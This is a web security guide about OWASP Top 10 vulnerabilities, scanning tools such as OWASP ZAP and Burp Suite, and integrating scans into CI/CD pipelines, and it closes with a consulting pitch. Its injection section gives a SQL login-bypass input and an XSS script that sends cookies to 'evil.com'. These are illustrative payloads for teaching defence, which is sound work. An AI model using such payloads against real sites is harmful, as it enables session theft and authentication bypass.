Website Vulnerability Scanning Practical Guide | From OWASP Top 10 to CI/CD Automation

Introduction: Your Website May Be More Vulnerable Than You Think

A single SQL Injection vulnerability can let hackers steal your entire database in minutes.

This isn't an exaggeration. According to Verizon's Data Breach Investigation Report, over 40% of data breaches are related to web application vulnerabilities. E-commerce credit card fraud, member data leaks, websites infected with crypto miners—many of these news stories are caused by web vulnerabilities.

Website vulnerability scanning helps you find these holes before hackers do.

This article will help you understand:

• The most common web application vulnerabilities (OWASP Top 10)
• What tools to use for scanning
• How to integrate scanning into development workflows (DevSecOps)

Whether you're a developer, QA, or security professional, this article will help you build the right web security concepts.

If you're not familiar with vulnerability scanning, we recommend reading What is Vulnerability Scanning? Complete Guide first.

---

OWASP Top 10: Web Vulnerabilities You Must Know

OWASP (Open Web Application Security Project) publishes a "Top 10" list every few years, listing the most common and dangerous web application vulnerabilities.

This list is the bible of web security and the detection basis for scanning tools.

2021 OWASP Top 10

Rank	Vulnerability Type	Description
A01	Broken Access Control	Access control failure, users can access data they shouldn't see
A02	Cryptographic Failures	Encryption failure, sensitive data unencrypted or improperly encrypted
A03	Injection	Injection attacks, including SQL, NoSQL, OS command injection
A04	Insecure Design	Insecure design, architecture-level security flaws
A05	Security Misconfiguration	Security configuration errors, unchanged defaults, error message leaks
A06	Vulnerable Components	Using vulnerable components, such as outdated packages
A07	Authentication Failures	Authentication failures, including weak passwords, session management issues
A08	Software and Data Integrity	Software and data integrity issues, such as insecure CI/CD
A09	Security Logging Failures	Insufficient security logging, unable to track attack behavior
A10	SSRF	Server-Side Request Forgery, can access internal resources

Key Vulnerability Details

Here are detailed explanations of the four most commonly encountered vulnerabilities:

A01: Broken Access Control

This is the #1 issue in 2021, rising from #5 in 2017.

What does it mean?

Users can access resources beyond their permissions. For example:

• Regular users can see admin pages
• Changing the ID in URL lets you see someone else's order
• API doesn't verify user identity

Real Case:

An e-commerce website puts order ID directly in URL:

https://shop.example.com/order/12345

Attackers just change 12345 to 12346 to see other people's order data.

Can scanning catch it?

Partially. Automated tools can detect basic IDOR (Insecure Direct Object References), but complex logic vulnerabilities may need manual testing.

A03: Injection

A classic among classics, including SQL Injection, XSS, Command Injection, etc.

SQL Injection Example:

Suppose login function is written like this:

SELECT * FROM users WHERE username = '$input'

Attacker enters:

' OR '1'='1

Query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1'

Directly bypasses authentication.

XSS (Cross-Site Scripting) Example:

Website doesn't filter user input, attacker enters in comment section:

<script>document.location='http://evil.com/?c='+document.cookie</script>

When other users view this comment, their cookies get stolen.

Can scanning catch it?

Yes. This is what automated scanning tools are best at.

A02: Cryptographic Failures

Sensitive data not properly protected by encryption.

Common Issues:

• Passwords hashed with MD5 or SHA1 (no longer secure)
• Database connection not using SSL
• API transmits sensitive data unencrypted
• Using outdated encryption algorithms

Can scanning catch it?

Partially. Tools can detect SSL/TLS configuration issues, insecure HTTP transmission, but cannot judge if password hashing algorithm is strong enough.

A07: Authentication Failures

Login mechanism has vulnerabilities.

Common Issues:

• Allows weak passwords
• No brute force protection
• Predictable Session IDs
• Forgot password function can enumerate users
• Multi-factor authentication can be bypassed

Can scanning catch it?

Partially. Tools can test brute force protection, session management, but complex logic issues need manual testing.

Does your website have these vulnerabilities? Schedule a Website Security Checkup to quickly identify potential risks.

Web Scanning Tool Selection

Different tools have different strengths. Here's a comparison of mainstream web vulnerability scanning tools:

Tool Overview

Tool	Type	Price	Best For
OWASP ZAP	Free Open Source	$0	Development teams, learning
Burp Suite	Paid Professional	$449/year+	Penetration testing, deep testing
Acunetix	Enterprise	$4,500/year+	Enterprise automated scanning
Fortify WebInspect	Enterprise	Quote-based	Large enterprises, SDLC integration
Nuclei	Free Open Source	$0	Advanced users, custom rules

OWASP ZAP

Position: Free, feature-complete, active community

Pros:

• Completely free, no feature limitations
• Has both GUI and CLI, suitable for different scenarios
• Can integrate into CI/CD
• Continuously updated, strong community support
• Suitable for developers self-testing

Cons:

• Higher false positive rate than commercial tools
• Complex JavaScript applications may not crawl completely
• Reports not as polished as commercial tools

Suitable for: Development teams, security beginners, budget-limited companies

For more free tools, see Free Vulnerability Scanners Recommended.

Want to compare paid tool features? See Vulnerability Scanner Comparison: Nessus vs OpenVAS vs Acunetix.

Burp Suite

Position: Standard tool for penetration testers

Version Differences:

• Community (Free): Basic features, manual testing
• Professional ($449/year): Automated scanning, advanced features
• Enterprise (Quote): Large-scale automation

Pros:

• Perfect combination of manual + automated testing
• Powerful Intruder feature (parameter fuzzing)
• Rich extension ecosystem
• Penetration testing industry standard

Cons:

• Steep learning curve
• Professional version needed for complete scanning features
• Not ideal for pure automation scenarios

Suitable for: Security professionals, penetration testing teams

Acunetix

Position: Enterprise-grade web application security scanning

Pros:

• Highest OWASP Top 10 coverage
• Smart crawler technology, handles complex SPAs
• Professional reports, suitable for management
• Complete CI/CD integration
• Original manufacturer technical support

Cons:

• Higher price
• Priced per target website
• Deep scanning may affect website performance

Suitable for: E-commerce, SaaS, fintech companies

Fortify WebInspect

Position: Enterprise-grade, deep integration with development process

Pros:

• Integrates with Fortify SSC for unified management
• Supports DAST + IAST hybrid mode
• Complete compliance reports (PCI DSS, HIPAA)
• Good integration with SDLC toolchain

Cons:

• High price
• Complex deployment
• Requires dedicated maintenance

Suitable for: Large enterprises, organizations with strict compliance requirements

Scanning Execution Practices

Pre-Scan Preparation

1. Confirm Scanning Scope

• Which domains and subdomains to scan?
• Which URL paths to scan?
• Any areas that shouldn't be scanned (like payment pages)?

2. Get Authorization

This is important: Scanning someone else's website without authorization is illegal.

Even scanning your own company's website, it's recommended to get formal written authorization to avoid being mistaken for an attack.

3. Prepare Test Environment

Recommend scanning in test or staging environment, not directly in production.

Reasons:

• Scanning may generate lots of garbage data
• Some tests may affect system stability
• Avoid disturbing real users

4. Configure Authentication

Many pages require login to see. Remember to set:

• Login credentials (username, password)
• Session Token
• API Key (if scanning APIs)

Without authentication, scanners can only scan homepage and public pages.

Scanning Mode Selection

Passive Scan

Only analyzes passing traffic, doesn't actively send attack requests.

Suitable for:

• Initial production environment assessment
• Understanding website structure
• Not wanting to affect system performance

Active Scan

Actively sends various attack payloads to test for vulnerabilities.

Suitable for:

• Deep scanning in test environment
• Finding real vulnerabilities
• Pre-launch security check

OWASP ZAP Scanning Steps

Step 1: Set Target

1. Open OWASP ZAP
2. Enter target URL in URL field
3. Press "Attack" button to start automatic scan

Step 2: Configure Authentication (if needed)

1. Manually log into website (ZAP will record)
2. Or set up Authentication Context
3. Choose Form-based or Script-based authentication

Step 3: View Results

1. View discovered vulnerabilities in Alerts tab
2. Sort by risk level (High > Medium > Low)
3. Click each vulnerability for details

Step 4: Export Report

1. Report > Generate HTML Report
2. Select report format and content
3. Save report file

---

CI/CD Integration: Automate Security Scanning

The core concept of DevSecOps: Security should shift left, the earlier you find problems, the lower the fix cost.

Integrate vulnerability scanning into CI/CD, automatically run scans on every code commit or deployment.

GitHub Actions Integration

name: Security Scan

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  zap-scan:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: ZAP Baseline Scan
        uses: zaproxy/[email protected]
        with:
          target: 'https://staging.example.com'
          fail_action: true
          rules_file_name: '.zap/rules.tsv'

      - name: Upload Report
        uses: actions/upload-artifact@v3
        with:
          name: zap-report
          path: report_html.html

GitLab CI Integration

stages:
  - build
  - test
  - security

zap-scan:
  stage: security
  image: owasp/zap2docker-stable
  script:
    - zap-baseline.py -t https://staging.example.com -r report.html
  artifacts:
    paths:
      - report.html
    when: always
  only:
    - main
    - develop

Jenkins Integration

pipeline {
    agent any

    stages {
        stage('Build') {
            steps {
                // Build steps
            }
        }

        stage('Deploy to Staging') {
            steps {
                // Deploy to test environment
            }
        }

        stage('Security Scan') {
            steps {
                script {
                    sh '''
                        docker run -v $(pwd):/zap/wrk:rw \
                        owasp/zap2docker-stable \
                        zap-baseline.py \
                        -t https://staging.example.com \
                        -r zap-report.html
                    '''
                }
            }
            post {
                always {
                    publishHTML([
                        reportDir: '.',
                        reportFiles: 'zap-report.html',
                        reportName: 'ZAP Security Report'
                    ])
                }
            }
        }
    }
}

Scanning Strategy Recommendations

Trigger	Scan Type	Depth
Every Commit	Baseline Scan	Quick (5-10 min)
Every PR	Baseline Scan	Quick
Daily Schedule	Full Scan	Deep (1-2 hours)
Pre-Launch	Full Scan + Manual Verification	Deepest

Handling Scan Results

After scanning, you'll get a bunch of vulnerabilities. Then what?

Classification and Prioritization

By Risk Level:

Level	Response Time	Example
Critical/High	Immediate	SQL Injection, RCE
Medium	Within 1 week	XSS, Information Disclosure
Low	Next iteration	Insecure Cookie Settings
Informational	Evaluate whether to handle	Version Information Disclosure

By Business Impact:

Same High risk, occurring in:

• Payment page → Highest priority
• User data page → Second priority
• Display-only page → Third

Handling False Positives

Automated scanning can't be 100% accurate.

Common False Positive Scenarios:

• Tool thinks it's XSS, but output is encoded
• Tool thinks there's SQL Injection, but actually uses parameterized queries
• Tool thinks Cookie is insecure, but it's a non-sensitive Cookie

Verification Methods:

1. Manually reproduce the attack vector reported by scanner
2. Check code to confirm if protections exist
3. Use Burp Suite for manual testing

After confirming false positive, mark as excluded in tool to avoid repeated reports.

Tracking and Remediation

Recommend establishing vulnerability tracking process:

1. Create Ticket: Open a ticket for each vulnerability (Jira, GitHub Issues)
2. Assign: Designate developer responsible for fix
3. Set Deadline: Set fix deadline by risk level
4. Verify: Re-scan after fix to confirm
5. Close: Confirm fix complete, close ticket

For how to interpret scan reports, see Vulnerability Scan Report Interpretation Guide.

---

Common Issues and Challenges

Q1: Will scanning affect website performance?

Yes, especially Active Scan.

Recommended Practices:

• Scan in test environment, not production
• Set scan speed limits (reduce concurrent requests)
• Schedule during off-peak hours
• Notify operations team to avoid being mistaken for attack

Q2: How often should I scan?

Depends on your update frequency:

Scenario	Recommended Frequency
Frequent deployments (daily/weekly)	Every deployment
Regular releases (monthly)	Before each release
Rarely changed	At least quarterly
Has compliance requirements	Per regulations

Q3: Can scanning replace penetration testing?

No.

Automated scanning can find most known vulnerabilities, but cannot:

• Discover complex logic vulnerabilities
• Test multi-step attack chains
• Assess real business risk
• Discover 0-day vulnerabilities

Recommendation: Use automated scanning daily, do manual penetration testing at least once a year. For detailed comparison, see Vulnerability Scanning vs Penetration Testing.

Q4: What if I can't fix all the vulnerabilities?

Very normal, security is endless.

Practical Approach:

• Handle Critical and High first
• Prioritize by business impact
• Set reasonable SLA (e.g., High fixed within 7 days)
• Accept that zero vulnerabilities is impossible

---

Conclusion: Security Scanning is a Continuous Process

Three key takeaways:

1. Understand OWASP Top 10: This is the foundation of web security, scanning tools are based on this
2. Choose the Right Tool: Use OWASP ZAP for limited budget, Burp Suite for deep testing, Acunetix for enterprise automation
3. Integrate into CI/CD: Make security scanning part of the development process, not an afterthought before launch

Web security isn't a one-time task. Continuous scanning, continuous fixing, continuous improvement—that's how you truly protect your website and user data.

---

Need Professional Website Security Assessment?

Automated scanning is a good starting point, but enterprise websites usually need more complete assessment:

• Deep scanning + manual verification
• Professional reports for management
• Fix recommendations and priority planning

Schedule Website Security Checkup, our security consultants will:

1. Execute complete web vulnerability scanning
2. Manually verify critical vulnerabilities
3. Provide fix recommendations and timeline planning
4. Help development team understand and fix issues

First consultation is free.

Don't have a security team to run scans? Consider Vulnerability Scanning Service Providers for help.

---

References

1. OWASP, "OWASP Top 10 2021" (2021)
2. OWASP, "OWASP ZAP User Guide" (2024)
3. PortSwigger, "Burp Suite Documentation" (2024)
4. Acunetix, "Web Application Security Testing" (2024)
5. Verizon, "2024 Data Breach Investigations Report" (2024)
6. NIST, "Technical Guide to Information Security Testing" (2024)